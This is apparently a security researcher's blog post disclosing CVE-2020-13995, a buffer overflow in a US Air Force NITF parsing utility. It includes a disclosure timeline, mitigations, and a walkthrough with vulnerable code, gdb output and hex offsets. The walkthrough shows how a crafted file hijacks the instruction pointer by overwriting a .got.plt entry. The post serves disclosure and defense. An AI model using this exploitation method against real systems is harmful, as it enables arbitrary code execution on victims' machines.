(mail(https://github.com/

CVE-2020-13995: DETAILS ON A VULNERABILITY IN A NITF PARSER

BY DOUG GASTONGUAY-GODDARD | SEPTEMBER 24, 2020

While fuzzing a NITF Extract utility `extract75` utility published by the US Air Force Sensor Data Management System, we found a global buffer overflow that leads to a write-what-where condition. This flaw has been assigned CVE-2020-13995 and is disclosed in this blog post.

See our Coordinated Vulnerability Disclosure (/responsible_disclosure/) process for more information on how we go about disclosing vulnerabilities we find.

Background

The National Imagery Transmission Format (NITF) was the subject of our research as described in our blog post Suggested Updates to the National Imagery Transmission Format (NITF) Specification (/blog/2020/08/nitf-file-format-suggestions/). While collecting public file format samples, we came across the Air Force Research Lab's (AFRL) Sensor Data Management Systems website. This website hosts datasets as well as utilities for dealing with the associated formats.

The NITF Extract utility version 7.5 (extract75) is used for dumping NITF file information and was published[1] by the US Air Force Sensor Data Management System and handles National Imagery Transmission Format (NITF) data. As was described on their page, "[t]his parser tool takes a NITF 2.0/2.1 file as input and outputs the JPEG file (if included), the data/image file and the metadata in flat files."

Issue

An overflow in a global variable (`sBuffer`) leads to a Write-What-Where vulnerability. Writing beyond sBuffer will clobber most global variables until reaching a pointer `DES_info` . By controlling that pointer, there is an arbitrary write when its fields are assigned. The data written is from the file in the form of a 9 digit integer. In the PoC, by targeting strncpy we gain control of the instruction pointer.

Note that there are multiple similar bugs in the code, and if we switched to the `image_info` overflow we could likely write 10 bytes instead of 9. One could also likely get more range by using a negative number. See below for more details.

Impact

When the software parses a specially crafted NITF file, this vulnerability causes controlled memory corruption. The primary purpose of the software is to parse NITF input files. As such, using this software on untrusted input could lead to memory corruption, and potentially arbitrary code execution, on the target system.

This software is hosted by the United States Air Force and presumably used by the US military and other agencies. According to Wikipedia, "National Imagery Transmission Format Standard (NITFS) is a U.S. Department of Defense (DoD) and Federal Intelligence Community (IC) suite of standards for the exchange, storage, and transmission of digital-imagery products and image-related products."[2]

Vendor Response

We contacted the US Air Force team who hosted the software. They promptly acknowledged the report and stated that they removed[3] the download of the tool from their website to prevent further distribution three days after receipt of the initial notice.

As of July 31, 2020, the vendor stated that they have someone analyzing the problem, but have not decided on the remedy, and as such cannot currently provide an estimated patch date. River Loop remains willing to help discus remedies and confirm a patch if desired.

What Users Can Do to Protect Themselves

- Until a patch is implemented, use a non-vulnerable NITF parser and cease use of extract75.
- Be careful when opening NITF files, especially those from sources that may not be fully trusted, or which may have been modified by another party.
- Scan for NITF files to identify those where the count of these sections exceeds the associated number, as this will lead to an overflow of `sBuffer` .
  - Image 60
  - Symbol 100
  - Graphic 100
  - Label 142
  - Text 111
  - DES 76
  - RES 90

How to Reproduce

We created a crafted input file as a proof-of-concept (PoC) and provided it to the software vendor to test. We are not releasing it online at this time, however groups who may need it to confirm the security of their systems may contact us (/contact/) to request it.

Details on Finding the Bugs

> NOTE: This section is a detailed technical walkthrough of discovering and exploiting the crash. If you are not interested in this type of walk-through, please click here to skip.

The `extract75` utility is a native application written in C. Upon downloading the utility to analyze and reviewing the source code we realized it was written in the 90s without security in mind and would likely have numerous bugs. Rather than finding those bugs manually, we tossed the parser in AFLPlusPlus instead. Rather quickly, multiple crashes were discovered. Upon triage we realized that the majority of them came from the same vulnerable code being repeated for multiple sections of the format.

Crash Analysis

The crash is caused by a global variable overflow. The overflow allows writing over other global variables. Those variables can be used to achieve a write-what-where. We'll dive into this crash specifically:

```
Crash id000003,sig11,src000000,time134513+000017,opsplice,rep128.
```

The global variable `sBuffer` has a fixed size of 1000 bytes. The application reads `NUMDES` (which is the number of data extension segments, or DES) from the file header. Following that field, for each DES, there is a size of DES header and size of DES data which are 4 bytes and 9 bytes, respectively. The function `read_verify` is called reading 13 (the size of the two size fields) multiplied by `NUMDES` . Doing a little math we can see that any value greater than 76 will overflow `sBuffer` .

```
char sBuffer[1000];
// ...
// NUMDES 000 to 999
// Any NUMDES greater than 76 is OF
read_verify(hNITF, sBuffer, 13 * number_of_DESs, // (LDSHn 4 + LDn 9) * NUMDES
            "Error reading header / image subheader data lengths");
```

Following that read, the bytes are parsed in a loop and written to a structure. The `number_of_DESs` variable as well as the `DES_info` pointer are overwritten in the BSS overflow. Controlling that pointer gives the write-what-where.

```
// Clobber BSS
// DES_info is over written
// ...
DES_info[x].length_of_subheader = atol(Gstr);
```

The original `NUMDES` is 328. The overflow causes it to be clobbered.

```
(gdb) info reg ebx
ebx            0x148              328
```

After overflow we see what value is held and can use that to locate the data being written in the overflow.

```
(gdb) p/x number_of_DESs
$3 = 0x3d632b1d
```

In the file our `NUMDES` value is contained at the offset `0x10ef` .

```
                                                vv
000010e0  1d 3f 4a c8 28 a7 a7 5f  6a a3 b5 81 2c 30 4f 1d  |.?J.(.._j...,0O.|
000010f0  2b 63 3d 88 c1 fe b5 71  8e 39 1d 48 fc ea 74 27  |+c=....q.9.H..t'|
          ^^ ^^ ^^
```

We will do the same for `DES_info` which is our "where". This is at offset `0x135f`.

```
(gdb) p/x DES_info
$4 = 0x8f7b0479c6a57acf
                                                vv
00001350  fe bc 54 c4 a9 1e 9f e7  d6 9d 83 d8 83 fe 7f cf  |..T.............|
00001360  7a a5 c6 79 04 7b 8f fe  bd 68 8c 6e 43 91 80 79  |z..y.{...h.nC..y|
          ^^ ^^ ^^ ^^ ^^ ^^ ^^ ^^
```

We can write 4 ASCII base 10 digits into the long `length_of_subheader` (`0000-9999 == 0x0-0x270f`), then 9 ASCII base 10 digits into `length_of_data` (`000000000-999999999 == 0x0-0x3b9ac9ff`).

```
typedef struct {
   long length_of_subheader;
   long length_of_data;
   bool bFile_written;
   char *pData;
} segment_info_type;
```

> NOTE: There are actually 7 of these overflows with various size writes.
>
> ```
> image_info = (image_info_type *)
>      malloc(sizeof(image_info_type) * number_of_images);
> // ...
> strncpy(Gstr, temp, 6);
> strncpy(Gstr, temp, 10);
>
> symbol_info = (segment_info_type *)
>      malloc(sizeof(segment_info_type) * number_of_symbols);
> // ...
> strncpy(Gstr, temp, 4);
> strncpy(Gstr, temp, 6);
>
> graphics_info = (segment_info_type *)
>      malloc(sizeof(segment_info_type) * number_of_graphics);
> // ...
> strncpy(Gstr, temp, 4);
> strncpy(Gstr, temp, 6);
>
> label_info = (segment_info_type *)
>      malloc(sizeof(segment_info_type) * number_of_labels);
> // ...
> strncpy(Gstr, temp, 4);
> strncpy(Gstr, temp, 3);
>
> text_info = (segment_info_type *)
>      malloc(sizeof(segment_info_type) * number_of_text_files);
> // ...
> strncpy(Gstr, temp, 4);
> strncpy(Gstr, temp, 5);
>
> DES_info = (segment_info_type *)
>      malloc(sizeof(segment_info_type) * number_of_DESs);
> // ...
> strncpy(Gstr, temp, 4);
> strncpy(Gstr, temp, 9);
>
> res_info = (segment_info_type *)
>      malloc(sizeof(segment_info_type) * number_of_res);
> // ...
> strncpy(Gstr, temp, 4);
> strncpy(Gstr, temp, 7);
> ```

Controlling Program Counter

To demonstrate the crash, we want to hijack our program counter (RIP). To do this we'll take a look at the binary's security features.

```
$ ./checksec --file=../extract75
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   617) Symbols      No    0               11              ../linux_ancient/extract75
```

Partial RELRO tells us that the section `.got.plt` is overwritable, so that is what we will target. The function `strncpy()` is called within the loop so that trigger will be immediate.

The first part of our "what" that is being written is 4 digits and we've placed 8738 (`0x2222`) at that location. The second is immediate after and we've placed 143165576 (`0x8888888`) there.

```
                                                  0x2222-----vvvv!!!!------
00000b70  38 30 30 30 33 32 38 38  37 33 38 31 34 33 31 36  |8000328873814316|    |
00000b80  35 35 37 36 38 30 30 30  33 32 38 30 32 35 38 30  |5576800032802580| 0x8888888
                                                    !!!!________________|
```

The WHERE is the address to `strncpy` at `0x647040` in `.got.plt`.

```
                                                vv
00001350  fe bc 54 c4 a9 1e 9f e7  d6 9d 83 d8 83 fe 7f 40  |..T............@|
00001360  70 64 00 00 00 00 00 fe  bd 68 8c 6e 43 91 80 79  |pd.......h.nC..y|
          ^^ ^^ ^^
```

We then run the program with our crafted file.

```
Program received signal SIGSEGV, Segmentation fault.
0x0000000000002222 in ?? ()
```

We got the 4 digit number `length_of_subheader`. Let's adjust "where" down 8 bytes so we'll overwrite the previous entry then use the 9 digit `length_of_data` write to get this one. Now we should hit 14316557 (`0x8888888`).

```
                                                vv
00001350  fe bc 54 c4 a9 1e 9f e7  d6 9d 83 d8 83 fe 7f 38  |..T............8|
00001360  70 64 00 00 00 00 00 fe  bd 68 8c 6e 43 91 80 79  |pd.......h.nC..y|
          ^^ ^^ ^^
```

Running it again:

```
Program received signal SIGSEGV, Segmentation fault.
0x0000000008888888 in ?? ()
```

If we switched to the `image_info` overflow we could get 10 bytes instead of 9. It is also likely that we could get a greater range by using a negative number, but we have not tested this. Given that there are 7 identical overflows it should be possible to craft a file that can take advantage of these flaws.

Disclosure Timeline

- 052020 - Achieved crash during use of automated fuzzing leveraging our customized minimized NITF feature coverage set
- 06042020 - Triaged crash and developed PoC exploit demonstrating control of IP
- 06052020 - Emailed sdms_help@vdl.afrl.af.mil to ask how to report a vulnerability to them and shared our responsible disclosure policy. SDMS replied and said RLS can send directly to that alias with no other processes/protections.
- 06082020 - SDMS confirmed report received, that they are removing it from the public website until the vulnerability is fixed, and that they do not need other information at this time. RLS replied asking about preferred CNA and reminding of 60 day disclosure policy.
- 06092020 - RLS notes that SDMS has removed extract75 from the webpage. Prior URL https://www.sdms.afrl.af.mil/index.php?collection=tools_nitf (https://www.sdms.afrl.af.mil/index.php?collection=tools_nitf) returns HTTP 404.
- 07022020 - RLS emails SDMS to check if any updates and if other help is needed. Notes that they should inspect for similar bug classes elsewhere in the code. Reminded of August 4, 2020 60 day disclosure date.
- 07272020 - RLS emails SDMS to check if any updates and to request information on mitigations, patch plans, or other information to include in the disclosure scheduled for NLT August 4.
- 07312020 - Vendor replies to state "We have someone analyzing the problem, but have not decided on the remedy as of this email. Therefore, I can not give you an estimated patch date."
- 08042020 - Upon preparing this disclosure for publication, we learned that it was not fully removed from the site, and instead was moved to a different "hidden" URL of https://www.sdms.afrl.af.mil/index.php?collection=tools_nitf_hidden (https://www.sdms.afrl.af.mil/index.php?collection=tools_nitf_hidden). This URL has been indexed by Google and is easily found. We notified SDMS of this.
- 082020 - Various scheduling attempts with the SDMS team, RLS offers multiple dates.
- 08202020 - RLS joined SDMS team on a conference call to discuss the vulnerability and provide context. SDMS team noted that the tool came about from a DARPA program in 1998, when they wrote the tool to handle parsing data. They do not actively maintain it, and it was intended to work on trusted data. RLS transmitted reproduction file again and SDMS confirmed reciept.
- 09242020 - Publication of this post and release of CVE.

Credit

Doug Gastonguay-Goddard of River Loop Security

Conclusion

We hope that this has given you a brief overview of this bug and that it helps users and developers of the NITF file format and tools secure systems better. You may also be interested in our blog post Suggested Updates to the National Imagery Transmission Format (NITF) Specification (/blog/2020/08/nitf-file-format-suggestions/).

Specifying file formats in natural language leaves a lot of details open to interpretation by developers. Combining these ambiguities and human fallibility with memory-unsafe languages leads to dangerous flaws in the software we rely on. As researchers, our job beyond discovering flaws is to create systems for eliminating them (see our other posts for more details). If you have any questions or comments based on this post or would like to engage River Loop Security to audit file formats, specifications, or parsers please contact us (/contact/).

Correction 3/24/2022: A correction was made to the line `read_verify(hNITF, sBuffer, 13 * number_of_DESs, // (LDSHn 4 + LDn 9) * NUMDES` based on reader input that the LDSHn and LDn values were incorrectly listed in this line.

---

1. As of June 4, 2020, the tool was published at https://www.sdms.afrl.af.mil/index.php?collection=tools_nitf (https://www.sdms.afrl.af.mil/index.php?collection=tools_nitf). As a result of our vulnerability disclosure, it has since been removed. [return]
2. https://en.wikipedia.org/wiki/National_Imagery_Transmission_Format (https://en.wikipedia.org/wiki/National_Imagery_Transmission_Format). Accessed June 5, 2020. [return]
3. Note that upon preparing this blog post for publication, we learned that it was not fully removed from the site, and instead was moved to a different "hidden" URL (https://www.sdms.afrl.af.mil/index.php?collection=tools_nitf_hidden). [return]

022/08/small-

https://www.riverloopsecurity.com/blog/2021/09/dji-

CONTACT US (/CONTACT)